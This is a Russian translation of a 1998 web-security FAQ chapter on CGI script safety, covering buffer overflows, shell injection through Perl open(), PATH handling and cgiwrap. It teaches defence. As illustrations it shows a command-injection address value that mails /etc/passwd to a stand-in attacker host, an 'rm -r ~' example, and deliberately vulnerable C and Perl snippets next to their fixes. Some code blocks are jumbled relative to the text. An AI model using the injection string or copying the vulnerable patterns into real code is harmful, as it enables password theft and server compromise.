Наверх, к Содержание | ||
Назад, к Защита конфиденциальных документов | Вперед, к Безопасное программирование на Perl |
Скрипты CGI могут открывать лазейки двумя путями:
Скрипты CGI являются потенциальными лазейками даже в том случае, если вы запускаете сервер с правами пользователя "nobody". Взломаный скрипт, работая с правами nobody, тем не менее пользуется правами, достаточными для отсылки по электронной почте файла паролей, получения карт локальной сети или инициирования входа в систему через порт с большим номером (для выполнения этого необходимо всего лишь выполнить несколько команд на языке Perl). Даже если ваш сервер запущен в среде chroot, ошибочный скрипт может выдать информацию, достаточную для взлома системы.
Существует также опасность того, что хакер сможет разместить файл с расширением .cgi в директории документов, а затем запустить его на исполнение, обратившись с запросом к серверу. Использование директория cgi-bin с правильно установленными правами доступа уменьшает вероятность такого события.
Прежде всего, важен вопрос о возможности для удаленного пользователя получить исходный текст программы. Чем больше хакер знает о том, как работает скрипт, тем легче ему найти и использовать ошибки в нем. При использовании компилируемых языков вы можете создать двоичный выполняемый файл, поместить его на сервер и не беспокоиться о том, что хакер может получить доступ к исходному тексту программы. Напртив, в случае интерпретируемых языков исходный текст всегда потенциально доступен. Хотя правильно настроенный сервер не должен передавать текст скрипта, существуют различные пути обхода этого ограничения.
Рассмотрим следующий сценарий. Из соображений удобства, вы настроили сервер
на распознавание скриптов CGI по расширению имени файла .cgi. Затем вам
понадобилось отредактировать интерпретируемый скрипт CGI. Вы открываете его с
помощью текстового редактора Emacs и изменяете нужным образом. Увы, редактор
оставляет резервную копию файла с исходным текстом программы в дереве
документов. И хотя удаленный пользователь не может получить исходный текст
при обращении к самому скрипту, он имеет возможность получить резервную копию
файла попросту выбрав адрес
URL:
http://ваш-узел/путь/к/ваш_скрипт.cgi~
(это еще одна причина, по которой безопаснее ограничить область хранения
скриптов отдельным директорием и ограничить доступ к нему.)
Конечно, во многих случаях исходные тексты скриптов на C свободно распространяются по Сети, и у хакеров не возникнет проблем с доступом к ним.
Еще одна причина большей безопасности компилируемых программ - вопросы размера и сложности. Большие программы, такие как интерпретаторы языков программирования и оболочки ОС, скорее всего содержат ошибки. Эти ошибки могут открывать лазейки в безопасности. Они существуют, просто мы о них не знаем.
Третий фактор - возможность использовать языки, на которых пишут скрипты, для передачи данных системным командам и получение результатов их выполнения. Как будет описано далее, выполнение системных команд при работе скрипта - один из основных источников лазеек в безопасности. В C выполнить системную команду сложнее, и менее вероятно, что программист будет использоватьб эту возможность. Наоборот, написать скрипт любой степени сложности на языке оболочки операционной системы, полностью избегая использования опасных инструкций, очень сложно. Языки оболочек ОС - плохой выбор при разработке хоть сколько-нибудь сложных скриптов CGI.
Прочтя все это, пожалуйста поймите, что нет гарантии того, что программа на C будет безопасной. Программы на C могут содержать множество опасных ошибок, как показывает пример программ NCSA httpd 1.3 и sendmail. В свою очередь, программы на интерпретируемых языках как правило имеют меньший объем текста и легче могут быть поняты лицами, не участвовавшими в разработке, с целью контроля. Далее, язык Perl содержит ряд встроенных функций, предназначенных для перехвата возможных лазеек в безопасности. Например, "проверки на чистоту" (taint checks, см. далее) перехватывают многие обычные недостатки в текстах программ и делают скрипты Perl в некотором отношении более безопасными, чем аналогичные программы на C.
Вы никогда не можете быть уверены, что скрипт безопасен. Лучшее, что вы можете сделать - внимательно изучить скрипт и понять, что и как он делает. Если вы не владеете языком, на котором написан скрипт, обратитесь к кому-нибуть, кто знает этот язык.
Вот вопросы, которые следует учитывать при изучении скрипта:
К стыду, один из ошибочных скриптов, nph-publish, был написан автором этого документа. Скрипт предназначен для публикации на сервере Apache документов, редактируемых при помощи "публикующего" редактора, такого, например, как Netscape Navigator Gold. автор не проверял необходимым образом пути доступа к файлам, вводимые пользователем, потенциально давая возможность сохранять файлы там, где не положено. Это может создать серьезные проблемы в случае, если сервер запущен с большими привилегиями. Если вы используете этот скрипт, то обновите версию на 1.2 или более позднюю. Ошибка была обнаружена Randal Schwartz (merlyn@stonehenge.com).
Ошибки во второй паре скриптов в списке были обнаружены
Paul Phillips (paulp@cerf.net), автором
CGI
security FAQ. Лазейка в PHF (телефонная книга) найдена
Jennifer Myers
(jmyers@marigold.eecs.nwu.edu), она представляет собой потенциальную
лазейку, содержащуюся во всех скриптах CGI, использующих библиотеку NCSA
util.c
. Здесь можно найти
информацию о том, как исправить лазейку в util.c
.
периодически здесь будет добавляться информация о других скриптах, содержащих ошибки.
Добавим, что один из скриптов, приведенных как пример "хорошего программирования CGI" в книге "Build a Web Site" (Построение узла Web, net.Genesis и Devra Hall), содержит классическую ошибку, заключающуюся в передаче непроверенной пользовательской переменной оболочке операционной системы. Скрипт приведен в разделе 11.4, "Простой скрипт для поиска с использованием grep", страница 443. Другие скрипты в этой книге также могут содержать ошибки.
Этот список далек от полноты. Никакая организация не занимается отслеживанием распространяемых скриптов. CERT выпускает сообщения о скриптах с ошибками, когда узнает о них, и имеет смысл подписаться на их список рассылки, или иногда просматривать свежие архивы (смотри Библиография).
Безусловно, на вашей совести лежит проверка безопасности каждого используемого вами скрипта.
Не смотря на возможность достижения красивых эффектов, следует избегать использования скриптов, предоставляющих информацию о вашей системе. Например, команда finger часто выводит путь к домашнему директорию пользователя, и скрипт, использующий эту команду, выдает эту информацию (на самом деле вам следует полностью выключить finger, предпочтительно даже стереть этого демона). Команда w дает информацию о ресурсах, используемых локальными пользователями. Команда ps, со всеми ее формами, дает потенциальному взломщику полезные сведения о том, какие демоны активны в вашей системе.
ОСНОВНОЙ источник лазеек в безопасности - переполнение буферов при чтении
данных, вводимых пользователем. Вот простая иллюстрация проблемы:
#include <stdlib.h>
Проблема здесь в том, что автор предполагает, что объем вводимых данных,
полученных методом POST,
никогда не превысит размера статического буфера, 1024 байта. Это плохо.
Злой хакер может нарушить работу программы, введя гораздо больший объем
данных. В некоторых ситуациях при переполнении буфера и сбое программы хакер
может иметь возможность выполнения произвольных команд на сервере.
#include <stdio.h>
static char query_string[1024];
char* read_POST() {
int query_size;
query_size=atoi(getenv("CONTENT_LENGTH"));
fread(query_string,query_size,1,stdin);
return query_string;
}
Приведем простой пример функции read_POST(), обходящей эту проблему путем
динамического резервирования памяти. Если памяти недостаточно, то функция
возвращает значение NULL.
char* read_POST() {
Конечно, после чтения данных, вы должны продолжать следить за тем, чтобы буфер
не переполнился. Контролируйте такие функции, как strcpy(), strcat()
и другие функции для работы со строками, которые производят копирование до тех
пор, пока не достигнут конца строки. Используйте вместо них функции
strncpy() и strncat().
int query_size=atoi(getenv("CONTENT_LENGTH"));
char* query_string = (char*) malloc(query_size);
if (query_string != NULL)
fread(query_string,query_size,1,stdin);
return query_string;
}
#define MAXSTRINGLENGTH 255
char myString[MAXSTRINGLENGTH + sizeof('\0')];
char* query = read_POST();
assert(query != NULL);
strncpy(myString,query,MAXSTRINGLENGTH);
myString[MAXSTRINGLENGTH]='\0'; /* Обеспечить 0 в конце строки */
(Заметте, что дейсвия strncpy могут быть опасны в ситуации, когда строка имеет длину
MAXSTRINGLENGTH, что ведет к необходимости явно обрезать строку, вставляя символ '\0'.)
В языке C это директивы popen() и system(), которые вызывают /bin/sh для обработки команды. В языке Perl сюда относятся функции system(), exec() и перенаправленная (piped) open(), а также функция eval(), запускающая сам интерпретатор Perl. В различных оболочках сюда попадают команды exec и eval.
Обратные кавычки, дающие возможность перехвата вывода программ в виде текстовых строк в интерпретаторах оболочек ОС и языке Perl, также небезопасны.
Проиллюстрируем необходимость некоторой паранои в этих вопросах на примере с
первого взгляда безопасного фрагмента кода на языке Perl, который должен
посылать электронную почту по адресу, указанному в форме ввода.
$mail_to = &get_name_from_input; # получить адрес из формы ввода
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
close MAIL;
Проблема состоит в вызове open(). Автор подразумевал, что
содержимое переменной $mail_to всегда будет представлять корректный адрес
e-mail. Но что произойдкт, если хакер введет адрес, выглядящий следующим
образом?
nobody@nowhere.com;mail badguys@hell.org</etc/passwd;
Теперь инструкция open() выполнит следующую команду:
/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwd
Увы, open() послала содержимое системного файла паролей удаленному
пользователю, открыв тем самым возможность для взлома паролей.
$mailto = &get_name_from_input; # получить адрес из формы ввода
open (MAIL,"| /usr/lib/sendmail -t -oi");
print MAIL <<END;
To: $mailto
From: me (me\@nowhere.com)
Subject: ничего особенного
Привет!
END
close MAIL;
Программисты, пишущие на C, могут использовать семейство функций exec для
передачи параметров запускаемым программам напрямую, а не через оболочку ОС.
Того же можно достичь и в Perl, используя приведенную ниже технику.
Вы должны искать пути, позволяющие избежать запуска оболочки ОС (shell). В
тех редких случаях, когда у вас нет другого выбора, вы должны всегда
проверять содержимое ввода на присутствие метасимволов языка оболочки и
удалять их. Список таких символов достаточно обширен:
&;`'\"|*?~<>^()[]{}$\n\r
Обратите внимание на то, что сюда входят символы перевода строки и возврата каретки (LF и CR)
- те, что кто-то из NCSA забыл, когда он (или она) писал широко
распространяемую библиотеку util.c
как пример программирования CGI на C.
Еще лучше убедиться, что параметры, предоставляемые пользователем, точно соответствуют тому, что должно быть, а не просто удалять метасимволы из переменной в надежде, что вы не получите неожиданных побочных эффектов. Даже если вы передаете пользовательские переменные в вызываемую вами программу напрямую, а не через оболочку ОС, они все равно могут содержать конструкции, открывающие лазейки в вызываемой программе.
Вот пример того, как можно убедиться, что адрес, предоставленный пользователем
и содержащийся в переменной $mail_to, действительно выглядит как
адрес электронной почты:
$mail_to = &get_name_from_input; # получить адрес из формы ввода
unless ($mail_to =~ /^[\w-.]+\@[\w-.]+$/) {
die 'Адрес не соответствует форме foo@nowhere.com';
}
(Для некоторых узлов приведенные ограничения могут быть слишком жесткими. Они
не допускают адресов в формате UUCP или любой другой из многих альтернативных
схем построения адресов e-mail).
system("ls -l /local/web/foo");
используйте такой:
system("/bin/ls -l /local/web/foo");
Если вам необходимо использовать переменную PATH, то установите ее значение
явным образом в начале скрипта CGI:
putenv("PATH=/bin:/usr/bin:/usr/local/bin");
Во всех случаях, не следует включать в состав переменной PATH текущий директорий (".").
Это не совсем так. cgiwrap (автор - Nathan Neulinger <nneul@umr.edu>, http://www.umr.edu/~cgiwrap) разработан для многопользовательских узлов, таких как университетские серверы, где пользователям разрешается создавать свои собственные скрипты CGI. Поскольку скрипты выполняются с правами того же пользователя, правами которого пользуется сервер (т.е. "nobody"), то администратору в такой ситуации трудно определить, чей именно скрипт вызывает ошибочно посланные письма, ошибки в файлах трассировки или идиотские сообщения на дисплеях других пользователей. Кроме того, возникают проблемы с защитой: при выполнении с теми же правами, скрипт одного пользователя может, например, случайно (или преднамеренно) разрушить базу данных, поддерживаемую скриптом другого пользователя.
cgiwrap позволяет вам так организовать скрипты, что они теперь выполняются под
идентификатором того пользователя, которому принадлежат. Эта политика может
быть усилена таким образом, что пользователь должен использовать
cgiwrap для того, чтобы скрипт смог быть выполнен. Хотя это упрощает
администрирование и предотвращает помехи пользователям сос стороны других
пользователей, это привносит риск для пользователя. Поскольку скрипты
выполняются теперь с правами владельца, взломанный скрипт может полностью
очистить домашний директорий пользователя, выполнив команду
rm -r ~
Хуже того, поскольку взломанный скрипт обладает правами записи в домашний директорий пользователя, он может поместить туда троянского коня, подвергая тем самым риску всю ситему. Пользователь nobody, по крайней мере, как правило не имеет прав записи нигде в системе.
sbox в настоящее время находится в стадии бета-тестирования. Если у вас есть желание попробовать использовать sbox, то вы можете его получить на URL http://www.genome.wi.mit.edu/~lstein/sbox/. sbox не был еще достаточно тщательно отлажен и может содержать ошибки, в том числе - лазейки в безопасности. Пожалуйста, соблюдайте осторожность.
Ограничивая права доступа к скрипту, не забудте ограничить доступ к _самому_ скрипту, а не только ко всем формам ввода, позволяющим с ним работать. Соблюсти это требование проще, если скрипт сам генерирует формы ввода для себя при обращении к нему.
http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txtЭтот документ содержит большое количество рекомендаций по безопасности, однако он не обновлялся с сентября 1995 года. После этого Selena Sol опубликовала отличную статью о рисках, связанных с установкой готовых скриптов, с большим количеством советов по настройке их скриптов для повышения надежности. Статью можно найти на URL:
http://Stars.com/Authoring/Scripting/Security/Отличное введение в программирование на Perl и программирование CGI можно найти в Perl CGI FAQ,
http://www.perl.com/CPAN-local/doc/FAQs/cgi/perl-cgi-faq.htmlавторы - Tom Christiansen (tchrist@perl.com) и Shishir Gundavaram (shishir@ora.com).
Наверх, к Содержание | ||
Назад, к Защита конфиденциальных документов | Вперед, к Безопасное программирование на Perl |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Wed Jul 1 06:37:17 EDT 1998